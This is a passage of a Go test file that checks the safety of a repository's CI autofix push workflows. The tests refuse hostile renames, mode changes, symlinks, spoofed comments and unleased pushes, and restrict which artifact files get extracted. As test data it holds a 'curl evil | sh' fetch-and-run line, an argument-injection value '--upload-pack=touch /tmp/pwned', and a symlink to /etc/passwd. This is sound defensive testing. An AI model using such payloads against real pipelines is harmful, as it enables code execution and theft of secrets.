"rename old .github/workflows/ci.yml\nrename new internal/newpkg/BUILD.bazel\n"),
"rename from/to": writeRawPatch(t, "diff --git a/scripts/tool.sh b/internal/newpkg/BUILD.bazel\n"+
"rename from scripts/tool.sh\nrename to internal/newpkg/BUILD.bazel\n"),
} {
t.Run(name, func(t *testing.T) {
res := r.runFlow(t, autofixFlow{script: noValidator, patch: patch})
if res.err == nil && res.head != r.head {
t.Fatalf("hostile rename pushed:\n%s", res.out)
}
unchanged(t, res, "REFUSED: staged change")
})
}
// A mode change on an allowlisted file passes the path check; only the
// mode arm of check_staged stops it.
mode := r.patch(func() {
if err := os.Chmod(filepath.Join(r.dir, "cmd/bd/BUILD.bazel"), 0o755); err != nil {
t.Fatal(err)
}
})
res := r.runFlow(t, autofixFlow{script: noValidator, patch: mode})
if res.err == nil {
t.Errorf("mode change not refused:\n%s", res.out)
}
unchanged(t, res, "REFUSED: staged change is not a regular-file edit")
})
// bazel.yml builds the PR merge commit, so main's own drift is in every
// PR's patch. It must never be pushed onto a PR that did not cause it.
t.Run("base-branch drift is not pushed to an unrelated PR", func(t *testing.T) {
drift := r.patch(func() {
r.write("other/BUILD.bazel", "go_library(name = \"other\", srcs = [\"other.go\"])\n")
r.write("MODULE.bazel.lock", "{\"main\": 1}\n")
})
res := r.runFlow(t, flow(autofixFlow{patch: drift}))
if res.err != nil {
t.Fatalf("err=%v\n%s", res.err, res.out)
}
unchanged(t, res, "files this PR did not change")
})
t.Run("mixed drift pushes only the PR's packages", func(t *testing.T) {
mixed := r.patch(func() {
r.write("cmd/bd/BUILD.bazel", "go_library(name = \"bd\", srcs = [\"main.go\"])\n")
r.write("other/BUILD.bazel", "go_library(name = \"other\", srcs = [\"other.go\"])\n")
r.write("MODULE.bazel.lock", "{\"main\": 1}\n")
})
res := r.runFlow(t, flow(autofixFlow{patch: mixed}))
if res.err != nil || res.head == r.head {
t.Fatalf("err=%v head moved=%v\n%s", res.err, res.head != r.head, res.out)
}
if files := r.run("--git-dir="+res.remote, "diff", "--name-only", r.head, res.head); files != "cmd/bd/BUILD.bazel\n" {
t.Errorf("pushed commit touches %q, want only cmd/bd/BUILD.bazel", files)
}
if !strings.Contains(res.log, "other/BUILD.bazel") || !strings.Contains(res.log, "MODULE.bazel.lock") {
t.Errorf("comment does not list the files left alone:\n%s", res.log)
}
})
// Every path outside a package walks up to the root; only root-level Go
// and build inputs make root BUILD.bazel drift the PR's.
t.Run("root package attribution", func(t *testing.T) {
rootDrift := r.patch(func() {
r.write("BUILD.bazel", "# root\ngo_library(name = \"beads\")\n")
r.write("other/BUILD.bazel", "go_library(name = \"other\", srcs = [\"other.go\"])\n")
})
for name, edit := range map[string]func(r *autofixRepo){
"docs only": func(r *autofixRepo) { r.write("docs/guide.md", "# guide v2\n") },
"README only": func(r *autofixRepo) { r.write("README.md", "# beads v2\n") },
"workflow only": func(r *autofixRepo) { r.write(".github/workflows/ci.yml", "name: CI2\n") },
"new docs tree": func(r *autofixRepo) { r.write("docs/new/page.md", "# new\n") },
"non-Go at root": func(r *autofixRepo) { r.write("Makefile", "all:\n") },
} {
t.Run(name, func(t *testing.T) {
head := r.commitOn(r.base, "root-"+strings.ReplaceAll(name, " ", "-"), name, edit)
// rootDrift touches only files this head shares with r.head.
res := r.runFlow(t, flow(autofixFlow{headSHA: head, patch: rootDrift}))
if res.err != nil || res.head != head {
t.Fatalf("err=%v; pushed main's root drift onto a %s PR:\n%s\n%s", res.err, name, res.out, res.log)
}
if !strings.Contains(res.log, "files this PR did not change") {
t.Errorf("want the not-this-PR comment:\n%s\n%s", res.out, res.log)
}
})
}
goHead := r.commitOn(r.base, "root-go", "root go", func(r *autofixRepo) { r.write("beads.go", "package beads // v2\n") })
res := r.runFlow(t, flow(autofixFlow{headSHA: goHead, patch: rootDrift}))
if res.err != nil || res.head == goHead {
t.Fatalf("err=%v; root Go change did not get its root BUILD.bazel:\n%s\n%s", res.err, res.out, res.log)
}
if files := r.run("--git-dir="+res.remote, "diff", "--name-only", goHead, res.head); files != "BUILD.bazel\n" {
t.Errorf("pushed commit touches %q, want only BUILD.bazel", files)
}
})
t.Run("module files are pushed when the PR changed go.mod", func(t *testing.T) {
gomod := r.variant("gomod", func(r *autofixRepo) { r.write("go.mod", "module example.com/beads\n\nrequire x v1\n") })
lock := writeRawPatch(t, "diff --git a/MODULE.bazel.lock b/MODULE.bazel.lock\nindex 0967ef4..ab1ba8b 100644\n--- a/MODULE.bazel.lock\n+++ b/MODULE.bazel.lock\n@@ -1 +1 @@\n-{}\n+{\"x\": 1}\n")
res := r.runFlow(t, flow(autofixFlow{headSHA: gomod, patch: lock}))
if res.err != nil || res.head == gomod {
t.Fatalf("err=%v\n%s\n%s", res.err, res.out, res.log)
}
if files := r.run("--git-dir="+res.remote, "diff", "--name-only", gomod, res.head); files != "MODULE.bazel.lock\n" {
t.Errorf("pushed commit touches %q", files)
}
})
// The branch was force-pushed back to an ancestor after the run: a plain
// push would fast-forward and resurrect the dropped head.
t.Run("push is leased to the run's head", func(t *testing.T) {
res := r.runFlow(t, flow(autofixFlow{remoteAt: r.base}))
if res.err != nil {
t.Fatalf("err=%v\n%s", res.err, res.out)
}
if res.head != r.base {
t.Errorf("branch = %s, want it left at %s (lease should refuse)", res.head, r.base)
}
if !strings.Contains(res.log, "pushing the fix to feature/x failed") {
t.Errorf("want the push-failed recipe:\n%s\n%s", res.out, res.log)
}
})
// A PR head with symlinks at or above an allowlisted path: nothing is
// written to disk, and git refuses to stage through the link.
t.Run("symlinked PR tree", func(t *testing.T) {
symDir := r.variant("symdir", func(r *autofixRepo) {
r.run("rm", "-rq", "internal/newpkg")
if err := os.MkdirAll(filepath.Join(r.dir, "internal"), 0o755); err != nil {
t.Fatal(err)
}
if err := os.Symlink("../.github/workflows", filepath.Join(r.dir, "internal", "newpkg")); err != nil {
t.Fatal(err)
}
// Sync tooling change: every patch file counts as the PR's, so
// only git's own guard stands between the patch and the link.
r.write("tools/bazel/go_srcs.py", "# touched\n")
})
symFile := r.variant("symfile", func(r *autofixRepo) {
r.run("rm", "-q", "cmd/bd/BUILD.bazel")
if err := os.Symlink("../../.github/workflows/ci.yml", filepath.Join(r.dir, "cmd", "bd", "BUILD.bazel")); err != nil {
t.Fatal(err)
}
})
newInLink := writeRawPatch(t, "diff --git a/internal/newpkg/BUILD.bazel b/internal/newpkg/BUILD.bazel\n"+
"new file mode 100644\nindex 0000000..9daeafb\n--- /dev/null\n+++ b/internal/newpkg/BUILD.bazel\n@@ -0,0 +1 @@\n+test\n")
editLink := r.patch(func() { r.write("cmd/bd/BUILD.bazel", "go_library(name = \"bd\", srcs = [\"main.go\"])\n") })
for name, f := range map[string]autofixFlow{
"new file under a symlinked dir": {headSHA: symDir, patch: newInLink},
"edit of a symlinked file": {headSHA: symFile, patch: editLink},
} {
t.Run(name, func(t *testing.T) {
res := r.runFlow(t, flow(f))
if res.head != f.headSHA {
t.Fatalf("pushed through a symlink (err=%v):\n%s", res.err, res.out)
}
if !strings.Contains(res.log, "no longer applies cleanly") {
t.Errorf("want the does-not-apply recipe:\n%s\n%s", res.out, res.log)
}
})
}
})
}
func TestDocsAutofixPushFlow(t *testing.T) {
r := newDocsAutofixRepo(t)
good := r.patch(func() {
r.write("docs/CLI_REFERENCE.md", "# CLI\n\nnew flag\n")
r.write("docs/cli-reference/bd-new.md", "# new\n")
})
flow := func(f autofixFlow) autofixFlow {
f.script = docsAutofixPushScript
if f.patch == "" {
f.patch = good
}
return f
}
t.Run("same-repo PR gets the regen commit", func(t *testing.T) {
res := r.runFlow(t, flow(autofixFlow{}))
if res.err != nil || res.head == r.head {
t.Fatalf("err=%v\n%s\n%s", res.err, res.out, res.log)
}
if files := r.run("--git-dir="+res.remote, "diff", "--name-only", r.head, res.head); files != "docs/CLI_REFERENCE.md\ndocs/cli-reference/bd-new.md\n" {
t.Errorf("pushed commit touches %q", files)
}
if !strings.Contains(res.log, "<!-- cli-docs-autofix -->") || !strings.Contains(res.log, "Pushed `") {
t.Errorf("want a pushed-commit comment:\n%s", res.log)
}
})
// The reviewer's bypass, which pushed "docs: auto-regenerate CLI
// reference" renaming scripts.sh on main: refused up front now, and by
// the staged check alone.
rename := r.patch(func() { r.run("mv", "scripts.sh", "docs/cli-reference/x.md") })
legacy := writeRawPatch(t, "diff --git a/scripts.sh b/docs/cli-reference/x.md\nrename old scripts.sh\nrename new docs/cli-reference/x.md\n")
for name, script := range map[string]string{"validator": docsAutofixPushScript, "staged check alone": withoutValidator(t, docsAutofixPushScript)} {
for pname, patch := range map[string]string{"rename": rename, "legacy rename": legacy} {
t.Run(name+"/"+pname, func(t *testing.T) {
res := r.runFlow(t, autofixFlow{script: script, patch: patch})
if res.err == nil || res.head != r.head || !strings.Contains(res.out, "REFUSED") {
t.Errorf("err=%v head moved=%v\n%s\n%s", res.err, res.head != r.head, res.out, res.log)
}
})
}
}
t.Run("spoofed comment is not edited", func(t *testing.T) {
spoof := `[{"id":5,"user":{"login":"mallory"},"body":"<!-- cli-docs-autofix -->"}]`
res := r.runFlow(t, flow(autofixFlow{headRepo: "someone/beads", env: []string{"FAKE_COMMENTS=" + spoof}}))
if res.err != nil || strings.Contains(res.log, "--method PATCH") || !strings.Contains(res.log, "--method POST") {
t.Errorf("err=%v:\n%s", res.err, res.log)
}
})
t.Run("protected head branch is never pushed", func(t *testing.T) {
res := r.runFlow(t, flow(autofixFlow{env: []string{`FAKE_RULES=[{"type": "update"}]`}}))
if res.err != nil || res.head != r.head || !strings.Contains(res.log, "protected from bot pushes") {
t.Errorf("err=%v head moved=%v\n%s", res.err, res.head != r.head, res.log)
}
})
t.Run("push is leased to the run's head", func(t *testing.T) {
res := r.runFlow(t, flow(autofixFlow{remoteAt: r.base}))
if res.err != nil || res.head != r.base || !strings.Contains(res.log, "failed") {
t.Errorf("err=%v head=%s\n%s\n%s", res.err, res.head, res.out, res.log)
}
})
t.Run("staged check alone refuses a mode change", func(t *testing.T) {
mode := r.patch(func() {
if err := os.Chmod(filepath.Join(r.dir, "docs/docs.json"), 0o755); err != nil {
t.Fatal(err)
}
})
res := r.runFlow(t, autofixFlow{script: withoutValidator(t, docsAutofixPushScript), patch: mode})
if res.err == nil || res.head != r.head || !strings.Contains(res.out, "REFUSED: staged change is not a regular-file edit") {
t.Errorf("err=%v head moved=%v\n%s", res.err, res.head != r.head, res.out)
}
})
t.Run("circuit breaker reads the fetched commit and fails closed", func(t *testing.T) {
botHead := r.commitOn(r.head, "docs-bot", "docs: auto-regenerate CLI reference", func(r *autofixRepo) {
r.write("docs/docs.json", "{\"regen\": 1}\n")
})
noSubject := scriptWith(t, docsAutofixPushScript, `HEAD_SUBJECT="$(git_ log -1 --format=%s "$HEAD_SHA")"`, `HEAD_SUBJECT="$(false)"`)
for name, f := range map[string]autofixFlow{
"bot head": flow(autofixFlow{headSHA: botHead}),
"subject unreadable": {script: noSubject, patch: good, headSHA: r.head},
} {
t.Run(name, func(t *testing.T) {
res := r.runFlow(t, f)
if res.err != nil || res.head != f.headSHA || !strings.Contains(res.log, "previous auto-regeneration commit left the docs stale") {
t.Errorf("err=%v head moved=%v\n%s\n%s", res.err, res.head != f.headSHA, res.out, res.log)
}
if strings.Contains(res.log, "/commits/") {
t.Errorf("head subject read through the API:\n%s", res.log)
}
})
}
})
t.Run("ambiguous PR is skipped", func(t *testing.T) {
two := "[" + pullJSON(7, "feature/x", r.head, "owner/beads", "main", "owner/beads") + "," +
pullJSON(8, "feature/x", r.head, "owner/beads", "release/x", "owner/beads") + "]"
res := r.runFlow(t, flow(autofixFlow{pulls: two}))
if res.err != nil || res.head != r.head || strings.Contains(res.log, "--method") || !strings.Contains(res.out, "not guessing") {
t.Errorf("err=%v head moved=%v\n%s\n%s", res.err, res.head != r.head, res.out, res.log)
}
})
t.Run("HEAD_SHA must be 40 hex", func(t *testing.T) {
for _, bad := range []string{"HEAD", r.head[:12], strings.ToUpper(r.head), "--upload-pack=touch /tmp/pwned"} {
res := r.runFlow(t, flow(autofixFlow{env: []string{"HEAD_SHA=" + bad}}))
if res.err == nil || !strings.Contains(res.out, "HEAD_SHA is not a commit id") || res.log != "" || res.head != r.head {
t.Errorf("HEAD_SHA=%q: err=%v gh log=%q\n%s", bad, res.err, res.log, res.out)
}
}
})
}
// git apply --summary is the validator's third layer: with the header greps
// switched off, it alone refuses every rename, copy, mode change and
// non-100644 creation (an allowlisted target keeps numstat quiet). A mode on
// a plain "index A..B MODE" line is not a change, so --summary does not list
// it; the index grep and check_staged cover that shape.
func TestAutofixPushSummaryLayer(t *testing.T) {
for script, target := range map[string]string{
bazelAutofixPushScript: "foo/BUILD.bazel",
docsAutofixPushScript: "docs/cli-reference/x.md",
} {
t.Run(filepath.Base(script), func(t *testing.T) {
dir := t.TempDir()
copyPath := summaryOnly(t, script)
hunk := "--- a/" + target + "\n+++ b/" + target + "\n@@ -1 +1 @@\n-x\n+y\n"
for name, body := range map[string]string{
"rename": "diff --git a/scripts.sh b/" + target + "\nsimilarity index 90%\nrename from scripts.sh\nrename to " + target + "\n",
"legacy rename": "diff --git a/scripts.sh b/" + target + "\nrename old scripts.sh\nrename new " + target + "\n",
"copy": "diff --git a/scripts.sh b/" + target + "\ncopy from scripts.sh\ncopy to " + target + "\n",
"mode change": "diff --git a/" + target + " b/" + target + "\nold mode 100644\nnew mode 100755\n",
"mode with hunk": "diff --git a/" + target + " b/" + target + "\nold mode 100644\nnew mode 100755\nindex 1234567..89abcde\n" + hunk,
"executable file": "diff --git a/" + target + " b/" + target + "\nnew file mode 100755\nindex 0000000..e69de29\n--- /dev/null\n+++ b/" + target + "\n@@ -0,0 +1 @@\n+x\n",
"symlink": "diff --git a/" + target + " b/" + target + "\nnew file mode 120000\nindex 0000000..1234567\n--- /dev/null\n+++ b/" + target + "\n@@ -0,0 +1 @@\n+../scripts.sh\n\\ No newline at end of file\n",
"delete symlink": "diff --git a/" + target + " b/" + target + "\ndeleted file mode 120000\nindex 1234567..0000000\n--- a/" + target + "\n+++ /dev/null\n@@ -1 +0,0 @@\n-../scripts.sh\n\\ No newline at end of file\n",
} {
t.Run(name, func(t *testing.T) {
out, err := runAutofixCheck(t, copyPath, dir, writeRawPatch(t, body))
if err == nil || !strings.Contains(out, "REFUSED") {
t.Errorf("--summary layer let it through (err=%v):\n%s\n--- patch ---\n%s", err, out, body)
}
})
}
// The layer still passes a plain regular-file edit and creation.
plain := "diff --git a/" + target + " b/" + target + "\nnew file mode 100644\nindex 0000000..e69de29\n--- /dev/null\n+++ b/" + target + "\n@@ -0,0 +1 @@\n+x\n"
if out, err := runAutofixCheck(t, copyPath, dir, writeRawPatch(t, plain)); err != nil {
t.Errorf("plain creation refused: %v\n%s", err, out)
}
})
}
}
// The download step of each autofix workflow, run as written against a fake
// gh: it lists artifacts of the triggering run only (the event's run id,
// never a repo-wide listing another run could win), extracts only its named
// files, and refuses an entry that is not a regular file.
func TestAutofixWorkflowDownloadStep(t *testing.T) {
requireHostTool(t, "unzip")
requireHostTool(t, "jq")
for _, tc := range []struct {
workflow, step, artifact, dir string
files []string
}{
{bazelAutofixWorkflowName, "Download BUILD sync patch (if any)", "bazel-sync-patch", "bazel-patch", []string{"bazel-sync-meta.txt", "bazel-sync.patch"}},
{"docs-autofix.yml", "Download docs freshness patch (if any)", "cli-docs-freshness-patch", "docs-patch", []string{"cli-docs-freshness.patch"}},
} {
t.Run(tc.workflow, func(t *testing.T) {
step := readCIWorkflow(t, tc.workflow).job(t, "autofix").step(t, tc.step)
if got := step.Env["RUN_ID"]; got != "${{ github.event.workflow_run.id }}" {
t.Errorf("RUN_ID = %q, want the triggering run's id", got)
}
if !strings.Contains(step.Run, `"repos/${GITHUB_REPOSITORY}/actions/runs/${RUN_ID}/artifacts`) {
t.Errorf("artifact listing is not scoped to the triggering run:\n%s", step.Run)
}
run := func(t *testing.T, entries map[string]string, symlinks map[string]string, listed string) (string, string, string, error) {
t.Helper()
tmp := t.TempDir()
zipPath := filepath.Join(tmp, "a.zip")
writeZip(t, zipPath, entries, symlinks)
bin := t.TempDir()
fake := `#!/usr/bin/env bash
set -euo pipefail
echo "gh $*" >> "$FAKE_GH_LOG"
jq_expr="" path=""
while [ $# -gt 0 ]; do
case "$1" in
api | --paginate) ;;
--jq) jq_expr="$2"; shift ;;
*) path="$1" ;;
esac
shift
done
case "$path" in
repos/owner/beads/actions/runs/42/artifacts | "repos/owner/beads/actions/runs/42/artifacts?"*)
printf '%s' "$FAKE_ARTIFACTS" | jq -r "$jq_expr" ;;
repos/owner/beads/actions/artifacts/5/zip) cat "$FAKE_ZIP" ;;
*) echo "gh: HTTP 404 for $path" >&2; exit 1 ;;
esac
`
if err := os.WriteFile(filepath.Join(bin, "gh"), []byte(fake), 0o755); err != nil {
t.Fatal(err)
}
runner := filepath.Join(tmp, "runner")
workspace := filepath.Join(tmp, "workspace")
for _, d := range []string{runner, workspace} {
if err := os.MkdirAll(d, 0o755); err != nil {
t.Fatal(err)
}
}
output := filepath.Join(tmp, "output")
log := filepath.Join(tmp, "gh.log")
cmd := exec.Command("bash", "-e", "-c", step.Run)
cmd.Dir = workspace
cmd.Env = append(os.Environ(),
"PATH="+bin+string(os.PathListSeparator)+os.Getenv("PATH"),
"GITHUB_REPOSITORY=owner/beads", "RUNNER_TEMP="+runner, "GITHUB_OUTPUT="+output,
"RUN_ID=42", "GH_TOKEN=x", "FAKE_GH_LOG="+log, "FAKE_ZIP="+zipPath,
"FAKE_ARTIFACTS="+listed)
out, err := cmd.CombinedOutput()
if ws, _ := os.ReadDir(workspace); len(ws) != 0 {
t.Errorf("the step wrote into the workspace: %v", ws)
}
outputs, _ := os.ReadFile(output)
return string(out), string(outputs), filepath.Join(runner, tc.dir), err
}
listed := `{"artifacts":[{"id":6,"name":"other"},{"id":5,"name":"` + tc.artifact + `"}]}`
t.Run("extracts only the named files", func(t *testing.T) {
entries := map[string]string{
"evil.sh": "curl evil | sh\n",
".github/workflows/x.yml": "on: push\n",
"scripts/docs-autofix.sh": "evil\n",
"sub/" + tc.files[0]: "nested\n",
"cli-docs-freshness.patch": "docs\n",
"bazel-sync.patch": "bazel\n",
"bazel-sync-meta.txt": "pr=7\n",
}
out, outputs, dir, err := run(t, entries, nil, listed)
if err != nil || !strings.Contains(outputs, "found=true") {
t.Fatalf("err=%v outputs=%q\n%s", err, outputs, out)
}
ents, _ := os.ReadDir(dir)
var got []string
for _, e := range ents {
got = append(got, e.Name())
if !e.Type().IsRegular() {
t.Errorf("%s is not a regular file", e.Name())
}
}
if strings.Join(got, ",") != strings.Join(tc.files, ",") {
t.Errorf("extracted %v, want exactly %v", got, tc.files)
}
})
for _, name := range tc.files {
t.Run("symlinked "+name+" is refused", func(t *testing.T) {
entries := map[string]string{}
for _, f := range tc.files {
if f != name {
entries[f] = "x\n"
}
}
out, outputs, _, err := run(t, entries, map[string]string{name: "/etc/passwd"}, listed)
if err == nil || strings.Contains(outputs, "found=true") || !strings.Contains(out, "is not a regular file") {
t.Errorf("err=%v outputs=%q\n%s", err, outputs, out)
}
})
}
t.Run("no artifact on the run", func(t *testing.T) {
out, outputs, _, err := run(t, map[string]string{tc.files[0]: "x\n"}, nil, `{"artifacts":[{"id":5,"name":"other"}]}`)
if err != nil || !strings.Contains(outputs, "found=false") {
t.Errorf("err=%v outputs=%q\n%s", err, outputs, out)
}
})
})
}
}
// writeZip writes a zip with regular entries and Unix symlink entries
// (name -> target), as unzip restores them.
func writeZip(t *testing.T, path string, entries, symlinks map[string]string) {
t.Helper()
f, err := os.Create(path)
if err != nil {
t.Fatal(err)
}
zw := zip.NewWriter(f)
add := func(name, body string, mode os.FileMode) {
hdr := &zip.FileHeader{Name: name, Method: zip.Store}
hdr.SetMode(mode)
w, err := zw.CreateHeader(hdr)
if err != nil {
t.Fatal(err)
}
if _, err := w.Write([]byte(body)); err != nil {
t.Fatal(err)
}
}
for name, body := range entries {
add(name, body, 0o644)
}
for name, target := range symlinks {
add(name, target, os.ModeSymlink|0o777)
}
if err := zw.Close(); err != nil {
t.Fatal(err)
}
if err := f.Close(); err != nil {
t.Fatal(err)
}
}